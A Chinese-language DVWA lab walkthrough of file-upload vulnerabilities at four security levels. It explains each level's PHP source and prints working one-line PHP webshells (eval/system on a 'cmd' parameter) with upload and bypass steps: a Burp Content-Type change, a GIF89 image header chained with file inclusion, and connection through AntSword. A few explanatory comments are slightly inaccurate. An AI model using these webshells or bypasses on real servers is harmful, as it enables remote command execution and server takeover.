這裡我們以DVWA的測試環境進行演練(這裡利用php的一句話木馬進行攻擊)
DVWA有四個等級:Low、Medium、High、Impossible
—————————————————————————————————————————————————
Low:
源代碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
代碼解釋:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
//isset判斷變量是否存在或為NULL(也就是0,但\0不代表NULL)。變量存在且值不為NULL,傳回true;變量存在且值為NULL,傳回false;變量存在,直接傳回NULL
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
//這裡的DVWA_WEB_PAGE_TO_ROOT在xampp/htdocs/dvwa/vulnerabilities/upload/index.php中追溯到define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
//basename()函數 傳回路徑中含有檔案擴充名的檔案名部分,舉例:
/*<?php
$path = "/testweb/home.php";
//顯示帶有檔案擴充名的檔案名
echo basename($path); #答案home.php
//顯示不帶有檔案擴充名的檔案名
echo basename($path,".php"); #答案:home
?>
*/
//$_FILES["uploaded"]["name"] 傳回被上傳檔案的名稱
//代碼完整含義:$target_path = $target_path + basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
/* if(){
當括号裡為true時執行的代碼}
else{
當括号裡為false時執行的代碼}
!代表非
$_FILES["file"]["tmp_name"] 傳回存儲在伺服器的檔案的臨時副本的名稱
move_uploaded_file() 函數将上傳的檔案移動到新位置,若成功,則傳回true,否則傳回false
在move_uploaded_file()中,如果$_FILES[ 'uploaded' ][ 'tmp_name' ]指定檔案是通過post送出,并且檔案合法,傳回true,否則傳回false
如果move_upoaded_file函數傳回true,那麼!move_upoaded_file就是false
*/
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
從以上代碼可以看出,代碼沒有對上傳的檔案進行任何過濾,甚至還顯示出了上傳後檔案的路徑與檔案名
這裡我們可以利用上傳一句話木馬(php),再加上中國蟻劍,完成滲透
php一句話木馬:
<?php @eval($_GET['cmd']); ?> //适合中國菜刀使用與url滲透
<?php @eval($_POST['cmd']); ?> //适合中國菜刀與中國蟻劍與hackbar(post)滲透
<?php @eval($_REQUEST['cmd']); ?> //适合中國菜刀與中國蟻劍與url滲透
//我這了是php7及以上版本,菜刀無論使用三種之一都無法連接配接,我猜是php版本過高,但如有知道具體原因,還望評論告訴我
eval函數主要執行php代碼,也可以執行系統指令
system函數隻能執行系統指令
@表示即使報錯,也不顯示
<?php @system($_GET['cmd']); ?> //隻适合url滲透
<?php @system($_POST['cmd']); ?> //隻适合hackbar(post)滲透
<?php @system($_REQUEST['cmd']); ?> //隻适合url滲透
滲透流程:
1.我們寫好包含一句話木馬的test.php檔案,這裡使用的是<?php @eval($_REQUEST['cmd']); ?>
2.點選上傳檔案,如圖:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHLw0ERNNTRq5EeRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL0ITN4EDM1QTMwETNwkTMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
3.我們通路上傳後的檔案
4.看看能否用url進行指令執行
首先試試能否執行php代碼指令:
再試試能否執行系統指令:
5.我們用中國蟻劍
輸入url與密碼後,點選添加
随後輕按兩下該資料條
連接配接成功,你已經拿下對方伺服器的用戶端
—————————————————————————————————————————————————
Medium:
源代碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
代碼解釋:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
//$_FILES["uploaded"]["type"] 傳回被上傳檔案的類型
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
//$_FILES["file"]["size"] 傳回被上傳檔案的大小,以位元組計
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// ||表示或
// &&數學中且的意思
//如果$uploaded_type == "image/jpeg"或$uploaded_type == "image/png"并且$uploaded_size < 100000,傳回true,繼續執行下面的if語句
//否則傳回false,執行下面的else語句:echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
//這裡就隻能上傳照片了
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
由以上Medium級别的代碼可以看出,代碼對上傳檔案進行了過濾,隻能上傳Content-Type為image/jpeg或image/png格式的檔案,并且檔案必須小于100000位元組
但是,它并沒有對檔案字尾名進行過濾,我們可以通過burpsuite抓包修改Content-Type,進而達到上傳字尾名為php的檔案
滲透流程:
1.打開burpsuite
2.打開上傳頁面,在該漏洞等級下上傳test.php
3.将圖檔中選中的數值改為image/jpeg或image/png,之後Forward,一直放行也可以
4.你會看到上傳成功,如圖,說明繞過成功
5.之後的利用方法和前面Low等級的是一樣的
注:因為我這裡是最新版的php,00截斷無法使用,需要php<5.3.4,後續我會寫一篇
—————————————————————————————————————————————————
High:
源代碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
代碼解釋:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
//strrpos( $uploaded_name, '.' ),查找 "." 在字元串中最後一次出現的位置,$uploaded_name的第一個字元位置為0,舉例:strrpos(”1.php“ , '.'),結果傳回1
//substr()函數,傳回字元串的一部分,第一位從0開始,舉例:substr("Hello world",6),預設從第6位傳回到字元串的結尾,是以傳回world
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
//strtolower(檔案名)函數,把字元串轉換為小寫
/*getimagesize()函數,取得圖像大小。将測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像檔案的大小并傳回圖像的尺寸以及檔案類型和一個可以用于普通 HTML 檔案中 IMG 标記中的 height/width 文本字元串
如果不能通路$uploaded_tmp指定的圖像或者其不是有效的圖像,getimagesize()将傳回 FALSE 并産生一條 E_WARNING 級的錯誤
*/
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
從以上代碼可以看出,它隻允許上傳字尾名為jpg/jpeg,并且要求圖檔小于100000位元組
1.我們可以用記事本寫一個一句話,然後把字尾名改為jpg格式如圖:
2.嘗試上傳,出現上傳不了,因為字尾名是圖檔格式還不行,它用了getimagesize函數,是以必須要檔案内容也是圖檔才行
3.為了達到檔案内容也是圖檔,在檔案頭部加上jpg格式的GIF89,如圖:
4.再次嘗試上傳,上傳成功
5.但這個檔案是以jpg為字尾,不能用菜刀或蟻劍進行連接配接,url利用時也隻會傳回圖檔資訊,并不會執行php指令,是以我們需要讓圖檔進行php解析,這時我們就可以結合DVWA中的檔案包含漏洞進行利用:
這樣就利用成功了
—————————————————————————————————————————————————
Impossible:
源代碼:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
echo '<pre>Your image was not uploaded.</pre>';
}
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代碼解釋:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
//md5()函數,計算字元串的MD5散列,也就是給字元串進行md5加密
//uniqid()函數,基于以微秒計的目前時間,生成一個唯一的ID
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
/*
ini_get 擷取一個配置選項的值
ini_get ( string $varname ) 成功時傳回配置選項的值
varname 配置選項名稱
成功是傳回配置選項值的字元串,null 的值則傳回空字元串。如果配置選項不存在,将會傳回 FALSE
*/
//php.ini中的upload_tmp_dir的這個參數為上傳檔案的臨時目錄
/*
?是條件語句的簡寫
舉例:
if($x>3){
echo "OK";}
else{
echo "NO";}
等同于$x>0 ? echo "OK" : echo "NO";
三元運算符文法:條件 ? 符合條件結果1 : 不符合條件結果2
*/
/*
sys_get_temp_dir — 傳回用于臨時檔案的目錄
sys_get_temp_dir ( void )
傳回 PHP 儲存臨時檔案的預設目錄的路徑,就是傳回臨時目錄的路徑
*/
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
//imagecreatefromjpeg ($filename ) 傳回一圖像辨別符,代表了從給定的檔案名取得的圖像
imagejpeg( $img, $temp_file, 100);
//imagejpeg ( resource $image [, string $filename [, int $quality ]] )
//imagejpeg() 從 image 圖像以 filename 為檔案名建立一個 JPEG 圖像,參數quality可選,0-100 (品質從小到大)
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
//imagecreatefrompng ($filename ) 傳回一圖像辨別符,代表了從給定的檔案名取得的圖像
imagepng( $img, $temp_file, 9);
//imagepng ( resource $image [, string $filename ] )
//imagepng() 将 GD 圖像流(image)以 PNG 格式輸出到标準輸出(通常為浏覽器),或者如果用 filename 給出了檔案名則将其輸出到該檔案
}
imagedestroy( $img );
//imagedestroy ( resource $image )
//magedestroy() 釋放與 image 關聯的記憶體。image 是由圖像建立函數傳回的圖像辨別符
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
//rename(oldname,newname,context)
/*oldname 必需。規定要重命名的檔案或目錄。
newname 必需。規定檔案或目錄的新名稱。
context 可選。規定檔案句柄的環境。context 是可修改流的行為的一套選項*/
//rename() 函數重命名檔案或目錄
//getchwd() 函數傳回目前工作目錄
/*舉例:
<?php echo getcwd() ?>
結果:
/home/php
*/
/*
DIRECTORY_SEPARATOR php目錄分隔符
因為windows下的分隔符為\,但在Linux下卻為/,Windows下的\是無法在Linux下運作的,是以用DIRECTORY_SEPARATOR(php内置變量),自動辨識使用哪種分隔符,這樣就不會出錯了
*/
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
echo '<pre>Your image was not uploaded.</pre>';
}
if( file_exists( $temp_file ) )
/*
file_exists() 函數檢查檔案或目錄是否存在
如果指定的檔案或目錄存在則傳回 true,否則傳回 false
file_exists(path)
path 必需。規定要檢查的路徑
舉例:
<?php echo file_exists("test.txt"); ?>
輸出:
1
*/
unlink( $temp_file );
/*
unlink() 函數删除檔案
若成功,則傳回 true,失敗則傳回 false
unlink(filename,context)
filename 必需。規定要删除的檔案。
context 可選。規定檔案句柄的環境。Context 是可修改流的行為的一套選項
*/
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
上面的impossible源代碼也就是無上傳漏洞可利用